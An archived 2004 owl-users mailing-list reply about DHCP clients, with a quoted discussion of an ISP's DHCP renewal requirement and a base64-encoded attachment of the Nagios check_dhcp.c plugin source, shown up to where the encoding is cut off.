Received: from gate.jammed.com (celephais.int.jammed.com [172.16.64.1])
	by kadath.int.jammed.com (8.11.6/8.11.6) with ESMTP id i14GpCv12011
	for <jwa@private>; Wed, 4 Feb 2004 08:51:12 -0800
Received: from president.dataforce.net (president.dataforce.net [195.42.160.21])
	by gate.jammed.com (Postfix) with SMTP id 94BB470
	for <jwa@private>; Wed,  4 Feb 2004 08:51:09 -0800 (PST)
Received: (qmail 2590 invoked by uid 1011); 4 Feb 2004 16:50:36 -0000
Mailing-List: contact owl-users-help@private; run by ezmlm
Precedence: bulk
List-Post: <mailto:owl-users@private>
List-Help: <mailto:owl-users-help@private>
List-Unsubscribe: <mailto:owl-users-unsubscribe@private>
List-Subscribe: <mailto:owl-users-subscribe@private>
Reply-To: owl-users@private
Delivered-To: mailing list owl-users@private
Received: (qmail 2582 invoked from network); 4 Feb 2004 16:50:36 -0000
Date: Wed, 4 Feb 2004 17:49:45 +0100 (CET)
From: Andreas Ericsson <exon@private>
To: owl-users@private
Subject: Re: dhcp client
In-Reply-To: <s020b409.018@private>
Message-ID: <Pine.LNX.4.58.0402041737470.606@private>
References: <s020b409.018@private>
MIME-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-690695424-1884145763-1075913385=:606"
Sender: owl-users-return-379-jwa=jammed.com@private
X-Spam-Status: No, hits=-32.3 required=5.0
	tests=BAYES_01,IN_REP_TO,KNOWN_MAILING_LIST,QUOTED_EMAIL_TEXT,
	      REFERENCES,REPLY_WITH_QUOTES,USER_AGENT_PINE
	autolearn=ham version=2.53
X-Spam-Level: 
X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp)

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@private for more info.

---690695424-1884145763-1075913385=:606
Content-Type: TEXT/PLAIN; charset=US-ASCII

Maybe this little hack can do the trick for you.

It's one of many plugins used with the Nagios network monitoring system.
I haven't looked through the code (really ugly thing, but you might get
through it with gnu indent), so I don't know how it's working 'under the
hood', but it might just do the trick for you. Possibly with a couple of
modifications.

Mvh / Best Regards
Andreas Ericsson / Sourcerer
OP5 AB
+46 (0)733 709032
ae@private

On Wed, 4 Feb 2004, Steve Bremer wrote:

>
> Hi,
>
> >Don't know of any, can't make any recommendations personally.
>
> Here is a pretty popular pppoe client:
>
> http://www.roaringpenguin.com/products/rp-pppoe/index.php
>
> >One other tip I will give ; make your dhcp client exit after
> obtaining
> >a lease ; otherwise it may be possible to send bad data to your
> client
> >and make it crash or worse...
>
> We have a problem where one of our ISPs requires us to make a DHCP
> request every 6 hours or they cut off our connection.  Even though we
> pay for a "business class" connection and static IP, we have to make a
> DHCP request at regular intervals or their firewall blocks our traffic.
> :-(  It's a terrible setup, but it's the only broadband provider in the
> area.
>
> Steve Bremer
> NEBCO, Inc.
> System & Security Administrator
>
>
---690695424-1884145763-1075913385=:606
Content-Type: TEXT/PLAIN; charset=US-ASCII; name="check_dhcp.c"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.58.0402041749450.606@private>
Content-Description: 
Content-Disposition: attachment; filename="check_dhcp.c"

LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KKg0KKiBDSEVD
S19ESENQLkMNCioNCiogUHJvZ3JhbTogREhDUCBwbHVnaW4gZm9yIE5hZ2lv
cw0KKiBMaWNlbnNlOiBHUEwNCiogQ29weXJpZ2h0IChjKSAyMDAxLTIwMDIg
RXRoYW4gR2Fsc3RhZCAobmFnaW9zQG5hZ2lvcy5vcmcpDQoqDQoqIExpY2Vu
c2UgSW5mb3JtYXRpb246DQoqDQoqIFRoaXMgcHJvZ3JhbSBpcyBmcmVlIHNv
ZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBpdCBhbmQvb3IgbW9kaWZ5
DQoqIGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVi
bGljIExpY2Vuc2UgYXMgcHVibGlzaGVkIGJ5DQoqIHRoZSBGcmVlIFNvZnR3
YXJlIEZvdW5kYXRpb247IGVpdGhlciB2ZXJzaW9uIDIgb2YgdGhlIExpY2Vu
c2UsIG9yDQoqIChhdCB5b3VyIG9wdGlvbikgYW55IGxhdGVyIHZlcnNpb24u
DQoqDQoqIFRoaXMgcHJvZ3JhbSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9w
ZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLA0KKiBidXQgV0lUSE9VVCBBTlkg
V0FSUkFOVFk7IHdpdGhvdXQgZXZlbiB0aGUgaW1wbGllZCB3YXJyYW50eSBv
Zg0KKiBNRVJDSEFOVEFCSUxJVFkgb3IgRklUTkVTUyBGT1IgQSBQQVJUSUNV
TEFSIFBVUlBPU0UuICBTZWUgdGhlDQoqIEdOVSBHZW5lcmFsIFB1YmxpYyBM
aWNlbnNlIGZvciBtb3JlIGRldGFpbHMuDQoqDQoqIFlvdSBzaG91bGQgaGF2
ZSByZWNlaXZlZCBhIGNvcHkgb2YgdGhlIEdOVSBHZW5lcmFsIFB1YmxpYyBM
aWNlbnNlDQoqIGFsb25nIHdpdGggdGhpcyBwcm9ncmFtOyBpZiBub3QsIHdy
aXRlIHRvIHRoZSBGcmVlIFNvZnR3YXJlDQoqIEZvdW5kYXRpb24sIEluYy4s
IDY3NSBNYXNzIEF2ZSwgQ2FtYnJpZGdlLCBNQSAwMjEzOSwgVVNBLg0KKg0K
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCiNpbmNsdWRl
IDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPHN0
cmluZy5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jbHVkZSA8dW5pc3Rk
Lmg+DQojaW5jbHVkZSA8c3lzL3RpbWUuaD4NCiNpbmNsdWRlIDxzeXMvaW9j
dGwuaD4NCiNpbmNsdWRlIDxmY250bC5oPg0KI2luY2x1ZGUgPGZlYXR1cmVz
Lmg+DQojaW5jbHVkZSA8bGludXgvaWZfZXRoZXIuaD4NCiNpbmNsdWRlIDxn
ZXRvcHQuaD4NCiNpbmNsdWRlIDxuZXQvaWYuaD4NCiNpbmNsdWRlIDxzeXMv
c29ja2V0Lmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8
bmV0aW5ldC9pbi5oPg0KI2luY2x1ZGUgPGFycGEvaW5ldC5oPg0KI2luY2x1
ZGUgPG5ldGRiLmg+DQoNCmNvbnN0IGNoYXIgKnByb2duYW1lID0gImNoZWNr
X2RoY3AiOw0KDQovKiNkZWZpbmUgREVCVUcqLw0KI2RlZmluZSBIQVZFX0dF
VE9QVF9IDQoNCg0KLyoqKiogQ29tbW9uIGRlZmluaXRpb25zICoqKiovDQoN
CiNkZWZpbmUgU1RBVEVfT0sgICAgICAgICAgMA0KI2RlZmluZSBTVEFURV9X
QVJOSU5HICAgICAxDQojZGVmaW5lIFNUQVRFX0NSSVRJQ0FMICAgIDINCiNk
ZWZpbmUgU1RBVEVfVU5LTk9XTiAgICAgLTENCg0KI2RlZmluZSBPSyAgICAg
ICAgICAgICAgICAwDQojZGVmaW5lIEVSUk9SICAgICAgICAgICAgIC0xDQoN
CiNkZWZpbmUgRkFMU0UgICAgICAgICAgICAgMA0KI2RlZmluZSBUUlVFICAg
ICAgICAgICAgICAxDQoNCg0KLyoqKiogREhDUCBkZWZpbml0aW9ucyAqKioq
Lw0KDQojZGVmaW5lIE1BWF9ESENQX0NIQUREUl9MRU5HVEggICAgICAgICAg
IDE2DQojZGVmaW5lIE1BWF9ESENQX1NOQU1FX0xFTkdUSCAgICAgICAgICAg
IDY0DQojZGVmaW5lIE1BWF9ESENQX0ZJTEVfTEVOR1RIICAgICAgICAgICAg
IDEyOA0KI2RlZmluZSBNQVhfREhDUF9PUFRJT05TX0xFTkdUSCAgICAgICAg
ICAzMTINCg0KDQp0eXBlZGVmIHN0cnVjdCBkaGNwX3BhY2tldF9zdHJ1Y3R7
DQogICAgICAgIHVfaW50OF90ICBvcDsgICAgICAgICAgICAgICAgICAgLyog
cGFja2V0IHR5cGUgKi8NCiAgICAgICAgdV9pbnQ4X3QgIGh0eXBlOyAgICAg
ICAgICAgICAgICAvKiB0eXBlIG9mIGhhcmR3YXJlIGFkZHJlc3MgZm9yIHRo
aXMgbWFjaGluZSAoRXRoZXJuZXQsIGV0YykgKi8NCiAgICAgICAgdV9pbnQ4
X3QgIGhsZW47ICAgICAgICAgICAgICAgICAvKiBsZW5ndGggb2YgaGFyZHdh
cmUgYWRkcmVzcyAob2YgdGhpcyBtYWNoaW5lKSAqLw0KICAgICAgICB1X2lu
dDhfdCAgaG9wczsgICAgICAgICAgICAgICAgIC8qIGhvcHMgKi8NCiAgICAg
ICAgdV9pbnQzMl90IHhpZDsgICAgICAgICAgICAgICAgICAvKiByYW5kb20g
dHJhbnNhY3Rpb24gaWQgbnVtYmVyIC0gY2hvc2VuIGJ5IHRoaXMgbWFjaGlu
ZSAqLw0KICAgICAgICB1X2ludDE2X3Qgc2VjczsgICAgICAgICAgICAgICAg
IC8qIHNlY29uZHMgdXNlZCBpbiB0aW1pbmcgKi8NCiAgICAgICAgdV9pbnQx
Nl90IGZsYWdzOyAgICAgICAgICAgICAgICAvKiBmbGFncyAqLw0KICAgICAg
ICBzdHJ1Y3QgaW5fYWRkciBjaWFkZHI7ICAgICAgICAgIC8qIElQIGFkZHJl
c3Mgb2YgdGhpcyBtYWNoaW5lIChpZiB3ZSBhbHJlYWR5IGhhdmUgb25lKSAq
Lw0KICAgICAgICBzdHJ1Y3QgaW5fYWRkciB5aWFkZHI7ICAgICAgICAgIC8q
IElQIGFkZHJlc3Mgb2YgdGhpcyBtYWNoaW5lIChvZmZlcmVkIGJ5IHRoZSBE
SENQIHNlcnZlcikgKi8NCiAgICAgICAgc3RydWN0IGluX2FkZHIgc2lhZGRy
OyAgICAgICAgICAvKiBJUCBhZGRyZXNzIG9mIERIQ1Agc2VydmVyICovDQog
ICAgICAgIHN0cnVjdCBpbl9hZGRyIGdpYWRkcjsgICAgICAgICAgLyogSVAg
YWRkcmVzcyBvZiBESENQIHJlbGF5ICovDQogICAgICAgIHVuc2lnbmVkIGNo
YXIgY2hhZGRyIFtNQVhfREhDUF9DSEFERFJfTEVOR1RIXTsgICAgICAvKiBo
YXJkd2FyZSBhZGRyZXNzIG9mIHRoaXMgbWFjaGluZSAqLw0KICAgICAgICBj
aGFyIHNuYW1lIFtNQVhfREhDUF9TTkFNRV9MRU5HVEhdOyAgICAvKiBuYW1l
IG9mIERIQ1Agc2VydmVyICovDQogICAgICAgIGNoYXIgZmlsZSBbTUFYX0RI
Q1BfRklMRV9MRU5HVEhdOyAgICAgIC8qIGJvb3QgZmlsZSBuYW1lICh1c2Vk
IGZvciBkaXNrbGVzcyBib290aW5nPykgKi8NCgljaGFyIG9wdGlvbnNbTUFY
X0RIQ1BfT1BUSU9OU19MRU5HVEhdOyAgLyogb3B0aW9ucyAqLw0KICAgICAg
ICB9ZGhjcF9wYWNrZXQ7DQoNCg0KdHlwZWRlZiBzdHJ1Y3QgZGhjcF9vZmZl
cl9zdHJ1Y3R7DQoJc3RydWN0IGluX2FkZHIgc2VydmVyX2FkZHJlc3M7ICAg
LyogYWRkcmVzcyBvZiBESENQIHNlcnZlciB0aGF0IHNlbnQgdGhpcyBvZmZl
ciAqLw0KCXN0cnVjdCBpbl9hZGRyIG9mZmVyZWRfYWRkcmVzczsgIC8qIHRo
ZSBJUCBhZGRyZXNzIHRoYXQgd2FzIG9mZmVyZWQgdG8gdXMgKi8NCgl1X2lu
dDMyX3QgbGVhc2VfdGltZTsgICAgICAgICAgICAvKiBsZWFzZSB0aW1lIGlu
IHNlY29uZHMgKi8NCgl1X2ludDMyX3QgcmVuZXdhbF90aW1lOyAgICAgICAg
ICAvKiByZW5ld2FsIHRpbWUgaW4gc2Vjb25kcyAqLw0KCXVfaW50MzJfdCBy
ZWJpbmRpbmdfdGltZTsgICAgICAgIC8qIHJlYmluZGluZyB0aW1lIGluIHNl
Y29uZHMgKi8NCglzdHJ1Y3QgZGhjcF9vZmZlcl9zdHJ1Y3QgKm5leHQ7DQog
ICAgICAgIH1kaGNwX29mZmVyOw0KDQoNCnR5cGVkZWYgc3RydWN0IHJlcXVl
c3RlZF9zZXJ2ZXJfc3RydWN0ew0KCXN0cnVjdCBpbl9hZGRyIHNlcnZlcl9h
ZGRyZXNzOw0KCXN0cnVjdCByZXF1ZXN0ZWRfc2VydmVyX3N0cnVjdCAqbmV4
dDsNCiAgICAgICAgfXJlcXVlc3RlZF9zZXJ2ZXI7DQoNCg0KI2RlZmluZSBC
T09UUkVRVUVTVCAgICAgMQ0KI2RlZmluZSBCT09UUkVQTFkgICAgICAgMg0K
DQojZGVmaW5lIERIQ1BESVNDT1ZFUiAgICAxDQojZGVmaW5lIERIQ1BPRkZF
UiAgICAgICAyDQojZGVmaW5lIERIQ1BSRVFVRVNUICAgICAzDQojZGVmaW5l
IERIQ1BERUNMSU5FICAgICA0DQojZGVmaW5lIERIQ1BBQ0sgICAgICAgICA1
DQojZGVmaW5lIERIQ1BOQUNLICAgICAgICA2DQojZGVmaW5lIERIQ1BSRUxF
QVNFICAgICA3DQoNCiNkZWZpbmUgREhDUF9PUFRJT05fTUVTU0FHRV9UWVBF
ICAgICAgICA1Mw0KI2RlZmluZSBESENQX09QVElPTl9IT1NUX05BTUUgICAg
ICAgICAgIDEyDQojZGVmaW5lIERIQ1BfT1BUSU9OX0JST0FEQ0FTVF9BRERS
RVNTICAgMjgNCiNkZWZpbmUgREhDUF9PUFRJT05fUkVRVUVTVEVEX0FERFJF
U1MgICA1MA0KI2RlZmluZSBESENQX09QVElPTl9MRUFTRV9USU1FICAgICAg
ICAgIDUxDQojZGVmaW5lIERIQ1BfT1BUSU9OX1JFTkVXQUxfVElNRSAgICAg
ICAgNTgNCiNkZWZpbmUgREhDUF9PUFRJT05fUkVCSU5ESU5HX1RJTUUgICAg
ICA1OQ0KDQojZGVmaW5lIERIQ1BfSU5GSU5JVEVfVElNRSAgICAgICAgICAg
ICAgMHhGRkZGRkZGRg0KDQojZGVmaW5lIERIQ1BfQlJPQURDQVNUX0ZMQUcg
MzI3NjgNCg0KI2RlZmluZSBESENQX1NFUlZFUl9QT1JUICAgNjcNCiNkZWZp
bmUgREhDUF9DTElFTlRfUE9SVCAgIDY4DQoNCiNkZWZpbmUgRVRIRVJORVRf
SEFSRFdBUkVfQUREUkVTUyAgICAgICAgICAgIDEgICAgIC8qIHVzZWQgaW4g
aHR5cGUgZmllbGQgb2YgZGhjcCBwYWNrZXQgKi8NCiNkZWZpbmUgRVRIRVJO
RVRfSEFSRFdBUkVfQUREUkVTU19MRU5HVEggICAgIDYgICAgIC8qIGxlbmd0
aCBvZiBFdGhlcm5ldCBoYXJkd2FyZSBhZGRyZXNzZXMgKi8NCg0KdW5zaWdu
ZWQgY2hhciBjbGllbnRfaGFyZHdhcmVfYWRkcmVzc1tNQVhfREhDUF9DSEFE
RFJfTEVOR1RIXT0iIjsNCg0KY2hhciBuZXR3b3JrX2ludGVyZmFjZV9uYW1l
WzhdPSJldGgwIjsNCg0KdV9pbnQzMl90IHBhY2tldF94aWQ9MDsNCg0KdV9p
bnQzMl90IGRoY3BfbGVhc2VfdGltZT0wOw0KdV9pbnQzMl90IGRoY3BfcmVu
ZXdhbF90aW1lPTA7DQp1X2ludDMyX3QgZGhjcF9yZWJpbmRpbmdfdGltZT0w
Ow0KDQppbnQgZGhjcG9mZmVyX3RpbWVvdXQ9MjsNCg0KZGhjcF9vZmZlciAq
ZGhjcF9vZmZlcl9saXN0PU5VTEw7DQpyZXF1ZXN0ZWRfc2VydmVyICpyZXF1
ZXN0ZWRfc2VydmVyX2xpc3Q9TlVMTDsNCg0KaW50IHZhbGlkX3Jlc3BvbnNl
cz0wOyAgICAgLyogbnVtYmVyIG9mIHZhbGlkIERIQ1BPRkZFUnMgd2UgcmVj
ZWl2ZWQgKi8NCmludCByZXF1ZXN0ZWRfc2VydmVycz0wOyAgIA0KaW50IHJl
cXVlc3RlZF9yZXNwb25zZXM9MDsNCg0KaW50IHJlcXVlc3Rfc3BlY2lmaWNf
YWRkcmVzcz1GQUxTRTsNCmludCByZWNlaXZlZF9yZXF1ZXN0ZWRfYWRkcmVz
cz1GQUxTRTsNCnN0cnVjdCBpbl9hZGRyIHJlcXVlc3RlZF9hZGRyZXNzOw0K
DQoNCmludCBwcm9jZXNzX2FyZ3VtZW50cyhpbnQsIGNoYXIgKiopOw0KaW50
IGNhbGxfZ2V0b3B0KGludCwgY2hhciAqKik7DQppbnQgdmFsaWRhdGVfYXJn
dW1lbnRzKHZvaWQpOw0Kdm9pZCBwcmludF91c2FnZSh2b2lkKTsNCnZvaWQg
cHJpbnRfaGVscCh2b2lkKTsNCg0KaW50IGdldF9oYXJkd2FyZV9hZGRyZXNz
KGludCxjaGFyICopOw0KDQppbnQgc2VuZF9kaGNwX2Rpc2NvdmVyKGludCk7
DQppbnQgZ2V0X2RoY3Bfb2ZmZXIoaW50KTsNCg0KaW50IGdldF9yZXN1bHRz
KHZvaWQpOw0KDQppbnQgYWRkX2RoY3Bfb2ZmZXIoc3RydWN0IGluX2FkZHIs
ZGhjcF9wYWNrZXQgKik7DQppbnQgZnJlZV9kaGNwX29mZmVyX2xpc3Qodm9p
ZCk7DQppbnQgZnJlZV9yZXF1ZXN0ZWRfc2VydmVyX2xpc3Qodm9pZCk7DQoN
CmludCBjcmVhdGVfZGhjcF9zb2NrZXQodm9pZCk7DQppbnQgY2xvc2VfZGhj
cF9zb2NrZXQoaW50KTsNCmludCBzZW5kX2RoY3BfcGFja2V0KHZvaWQgKixp
bnQsaW50LHN0cnVjdCBzb2NrYWRkcl9pbiAqKTsNCmludCByZWNlaXZlX2Ro
Y3BfcGFja2V0KHZvaWQgKixpbnQsaW50LGludCxzdHJ1Y3Qgc29ja2FkZHJf
aW4gKik7DQoNCg0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqKmFyZ3Yp
ew0KCWludCBkaGNwX3NvY2tldDsNCglpbnQgcmVzdWx0Ow0KDQoJaWYocHJv
Y2Vzc19hcmd1bWVudHMoYXJnYyxhcmd2KSE9T0spew0KCQkvKnVzYWdlKCJJ
bnZhbGlkIGNvbW1hbmQgYXJndW1lbnRzIHN1cHBsaWVkXG4iKTsqLw0KCQlw
cmludGYoIkludmFsaWQgY29tbWFuZCBhcmd1bWVudHMgc3VwcGxpZWRcbiIp
Ow0KCQlleGl0KFNUQVRFX1VOS05PV04pOw0KCSAgICAgICAgfQ0KDQoNCgkv
KiBjcmVhdGUgc29ja2V0IGZvciBESENQIGNvbW11bmljYXRpb25zICovDQoJ
ZGhjcF9zb2NrZXQ9Y3JlYXRlX2RoY3Bfc29ja2V0KCk7DQoNCgkvKiBnZXQg
aGFyZHdhcmUgYWRkcmVzcyBvZiBjbGllbnQgbWFjaGluZSAqLw0KCWdldF9o
YXJkd2FyZV9hZGRyZXNzKGRoY3Bfc29ja2V0LG5ldHdvcmtfaW50ZXJmYWNl
X25hbWUpOw0KDQoJLyogc2VuZCBESENQRElTQ09WRVIgcGFja2V0ICovDQoJ
c2VuZF9kaGNwX2Rpc2NvdmVyKGRoY3Bfc29ja2V0KTsNCg0KCS8qIHdhaXQg
Zm9yIGEgREhDUE9GRkVSIHBhY2tldCAqLw0KCWdldF9kaGNwX29mZmVyKGRo
Y3Bfc29ja2V0KTsNCg0KCS8qIGNsb3NlIHNvY2tldCB3ZSBjcmVhdGVkICov
DQoJY2xvc2VfZGhjcF9zb2NrZXQoZGhjcF9zb2NrZXQpOw0KDQoJLyogZGV0
ZXJtaW5lIHN0YXRlL3BsdWdpbiBvdXRwdXQgdG8gcmV0dXJuICovDQoJcmVz
dWx0PWdldF9yZXN1bHRzKCk7DQoNCgkvKiBmcmVlIGFsbG9jYXRlZCBtZW1v
cnkgKi8NCglmcmVlX2RoY3Bfb2ZmZXJfbGlzdCgpOw0KCWZyZWVfcmVxdWVz
dGVkX3NlcnZlcl9saXN0KCk7DQoNCglyZXR1cm4gcmVzdWx0Ow0KICAgICAg
ICB9DQoNCg0KDQovKiBkZXRlcm1pbmVzIGhhcmR3YXJlIGFkZHJlc3Mgb24g
Y2xpZW50IG1hY2hpbmUgKi8NCmludCBnZXRfaGFyZHdhcmVfYWRkcmVzcyhp
bnQgc29jayxjaGFyICppbnRlcmZhY2VfbmFtZSl7DQoJc3RydWN0IGlmcmVx
IGlmcjsNCg0KCXN0cm5jcHkoKGNoYXIgKikmaWZyLmlmcl9uYW1lLGludGVy
ZmFjZV9uYW1lLHNpemVvZihpZnIuaWZyX25hbWUpKTsNCgkNCgkvKiB0cnkg
YW5kIGdyYWIgaGFyZHdhcmUgYWRkcmVzcyBvZiByZXF1ZXN0ZWQgaW50ZXJm
YWNlICovDQoJaWYoaW9jdGwoc29jayxTSU9DR0lGSFdBRERSLCZpZnIpPDAp
ew0KICAgICAgICAgICAgICAgIHByaW50ZigiRXJyb3I6IENvdWxkIG5vdCBn
ZXQgaGFyZHdhcmUgYWRkcmVzcyBvZiBpbnRlcmZhY2UgJyVzJ1xuIixpbnRl
cmZhY2VfbmFtZSk7DQoJCWV4aXQoU1RBVEVfVU5LTk9XTik7DQoJICAgICAg
ICB9DQoNCgltZW1jcHkoJmNsaWVudF9oYXJkd2FyZV9hZGRyZXNzWzBdLCZp
ZnIuaWZyX2h3YWRkci5zYV9kYXRhLDYpOw0KDQojaWZkZWYgREVCVUcNCglw
cmludGYoIkhhcmR3YXJlIGFkZHJlc3M6ICUwMng6JTAyeDolMDJ4OiIsY2xp
ZW50X2hhcmR3YXJlX2FkZHJlc3NbMF0sY2xpZW50X2hhcmR3YXJlX2FkZHJl
c3NbMV0sY2xpZW50X2hhcmR3YXJlX2FkZHJlc3NbMl0pOw0KCXByaW50Zigi
JTAyeDoiLGNsaWVudF9oYXJkd2FyZV9hZGRyZXNzWzNdKTsNCglwcmludGYo
IiUwMng6JTAyeFxuIixjbGllbnRfaGFyZHdhcmVfYWRkcmVzc1s0XSxjbGll
bnRfaGFyZHdhcmVfYWRkcmVzc1s1XSk7DQoJcHJpbnRmKCJcbiIpOw0KI2Vu
ZGlmDQoNCglyZXR1cm4gT0s7DQogICAgICAgIH0NCg0KDQovKiBzZW5kcyBh
IERIQ1BESVNDT1ZFUiBicm9hZGNhc3QgbWVzc2FnZSBpbiBhbiBhdHRlbXB0
IHRvIGZpbmQgREhDUCBzZXJ2ZXJzICovDQppbnQgc2VuZF9kaGNwX2Rpc2Nv
dmVyKGludCBzb2NrKXsNCglkaGNwX3BhY2tldCBkaXNjb3Zlcl9wYWNrZXQ7
DQoJc3RydWN0IHNvY2thZGRyX2luIHNvY2thZGRyX2Jyb2FkY2FzdDsNCg0K
DQoJLyogY2xlYXIgdGhlIHBhY2tldCBkYXRhIHN0cnVjdHVyZSAqLw0KCWJ6
ZXJvKCZkaXNjb3Zlcl9wYWNrZXQsc2l6ZW9mKGRpc2NvdmVyX3BhY2tldCkp
Ow0KDQoNCgkvKiBib290IHJlcXVlc3QgZmxhZyAoYmFja3dhcmQgY29tcGF0
aWJsZSB3aXRoIEJPT1RQIHNlcnZlcnMpICovDQoJZGlzY292ZXJfcGFja2V0
Lm9wPUJPT1RSRVFVRVNUOw0KDQoJLyogaGFyZHdhcmUgYWRkcmVzcyB0eXBl
ICovDQoJZGlzY292ZXJfcGFja2V0Lmh0eXBlPUVUSEVSTkVUX0hBUkRXQVJF
X0FERFJFU1M7DQoNCgkvKiBsZW5ndGggb2Ygb3VyIGhhcmR3YXJlIGFkZHJl
c3MgKi8NCglkaXNjb3Zlcl9wYWNrZXQuaGxlbj1FVEhFUk5FVF9IQVJEV0FS
RV9BRERSRVNTX0xFTkdUSDsNCg0KCWRpc2NvdmVyX3BhY2tldC5ob3BzPTA7
DQoNCgkvKiB0cmFuc2FjdGlvbiBpZCBpcyBzdXBwb3NlZCB0byBiZSByYW5k
b20gKi8NCglzcmFuZCh0aW1lKE5VTEwpKTsNCglwYWNrZXRfeGlkPXJhbmRv
bSgpOw0KCWRpc2NvdmVyX3BhY2tldC54aWQ9aHRvbmwocGFja2V0X3hpZCk7
DQoNCgkvKioqKiBXSEFUIFRIRSBIRUNLIElTIFVQIFdJVEggVEhJUz8hPyAg
SUYgSSBET04nVCBNQUtFIFRISVMgQ0FMTCwgT05MWSBPTkUgU0VSVkVSIFJF
U1BPTlNFIElTIFBST0NFU1NFRCEhISEgKioqKi8NCgkvKiBkb3ducmlnaHQg
Yml6emFycmUuLi4gKi8NCgludG9obChkaXNjb3Zlcl9wYWNrZXQueGlkKTsN
Cg0KCS8qZGlzY292ZXJfcGFja2V0LnNlY3M9aHRvbnMoNjU1MzUpOyovDQoJ
ZGlzY292ZXJfcGFja2V0LnNlY3M9MHhGRjsNCg0KCS8qIHRlbGwgc2VydmVy
IGl0IHNob3VsZCBicm9hZGNhc3QgaXRzIHJlc3BvbnNlICovIA0KCWRpc2Nv
dmVyX3BhY2tldC5mbGFncz1odG9ucyhESENQX0JST0FEQ0FTVF9GTEFHKTsN
Cg0KCS8qIG91ciBoYXJkd2FyZSBhZGRyZXNzICovDQoJbWVtY3B5KGRpc2Nv
dmVyX3BhY2tldC5jaGFkZHIsY2xpZW50X2hhcmR3YXJlX2FkZHJlc3MsRVRI
RVJORVRfSEFSRFdBUkVfQUREUkVTU19MRU5HVEgpOw0KDQoJLyogZmlyc3Qg
Zm91ciBieXRlcyBvZiBvcHRpb25zIGZpZWxkIGlzIG1hZ2ljIGNvb2tpZSAo
YXMgcGVyIFJGQyAyMTMyKSAqLw0KCWRpc2NvdmVyX3BhY2tldC5vcHRpb25z
WzBdPSdceDYzJzsNCglkaXNjb3Zlcl9wYWNrZXQub3B0aW9uc1sxXT0nXHg4
Mic7DQoJZGlzY292ZXJfcGFja2V0Lm9wdGlvbnNbMl09J1x4NTMnOw0KCWRp
c2NvdmVyX3BhY2tldC5vcHRpb25zWzNdPSdceDYzJzsNCg0KCS8qIERIQ1Ag
bWVzc2FnZSB0eXBlIGlzIGVtYmVkZGVkIGluIG9wdGlvbnMgZmllbGQgKi8N
CglkaXNjb3Zlcl9wYWNrZXQub3B0aW9uc1s0XT1ESENQX09QVElPTl9NRVNT
QUdFX1RZUEU7ICAgIC8qIERIQ1AgbWVzc2FnZSB0eXBlIG9wdGlvbiBpZGVu
dGlmaWVyICovDQoJZGlzY292ZXJfcGFja2V0Lm9wdGlvbnNbNV09J1x4MDEn
OyAgICAgICAgICAgICAgIC8qIERIQ1AgbWVzc2FnZSBvcHRpb24gbGVuZ3Ro
IGluIGJ5dGVzICovDQoJZGlzY292ZXJfcGFja2V0Lm9wdGlvbnNbNl09REhD
UERJU0NPVkVSOw0KDQoJLyogdGhlIElQIGFkZHJlc3Mgd2UncmUgcmVxdWVz
dGluZyAqLw0KCWlmKHJlcXVlc3Rfc3BlY2lmaWNfYWRkcmVzcz09VFJVRSl7
DQoJCWRpc2NvdmVyX3BhY2tldC5vcHRpb25zWzddPURIQ1BfT1BUSU9OX1JF
UVVFU1RFRF9BRERSRVNTOw0KCQlkaXNjb3Zlcl9wYWNrZXQub3B0aW9uc1s4
XT0nXHgwNCc7DQoJCW1lbWNweSgmZGlzY292ZXJfcGFja2V0Lm9wdGlvbnNb
OV0sJnJlcXVlc3RlZF9hZGRyZXNzLHNpemVvZihyZXF1ZXN0ZWRfYWRkcmVz
cykpOw0KCSAgICAgICAgfQ0KCQ0KCS8qIHNlbmQgdGhlIERIQ1BESVNDT1ZF
UiBwYWNrZXQgdG8gYnJvYWRjYXN0IGFkZHJlc3MgKi8NCiAgICAgICAgc29j
a2FkZHJfYnJvYWRjYXN0LnNpbl9mYW1pbHk9QUZfSU5FVDsNCiAgICAgICAg
c29ja2FkZHJfYnJvYWRjYXN0LnNpbl9wb3J0PWh0b25zKERIQ1BfU0VSVkVS
X1BPUlQpOw0KICAgICAgICBzb2NrYWRkcl9icm9hZGNhc3Quc2luX2FkZHIu
c19hZGRyPUlOQUREUl9CUk9BRENBU1Q7DQoJYnplcm8oJnNvY2thZGRyX2Jy
b2FkY2FzdC5zaW5femVybyxzaXplb2Yoc29ja2FkZHJfYnJvYWRjYXN0LnNp
bl96ZXJvKSk7DQoNCg0KI2lmZGVmIERFQlVHDQoJcHJpbnRmKCJESENQRElT
Q09WRVIgdG8gJXMgcG9ydCAlZFxuIixpbmV0X250b2Eoc29ja2FkZHJfYnJv
YWRjYXN0LnNpbl9hZGRyKSxudG9ocyhzb2NrYWRkcl9icm9hZGNhc3Quc2lu
X3BvcnQpKTsNCglwcmludGYoIkRIQ1BESVNDT1ZFUiBYSUQ6ICVsdSAoMHgl
WClcbiIsbnRvaGwoZGlzY292ZXJfcGFja2V0LnhpZCksbnRvaGwoZGlzY292
ZXJfcGFja2V0LnhpZCkpOw0KCXByaW50ZigiREhDRElTQ09WRVIgY2lhZGRy
OiAgJXNcbiIsaW5ldF9udG9hKGRpc2NvdmVyX3BhY2tldC5jaWFkZHIpKTsN
CglwcmludGYoIkRIQ0RJU0NPVkVSIHlpYWRkcjogICVzXG4iLGluZXRfbnRv
YShkaXNjb3Zlcl9wYWNrZXQueWlhZGRyKSk7DQoJcHJpbnRmKCJESENESVND
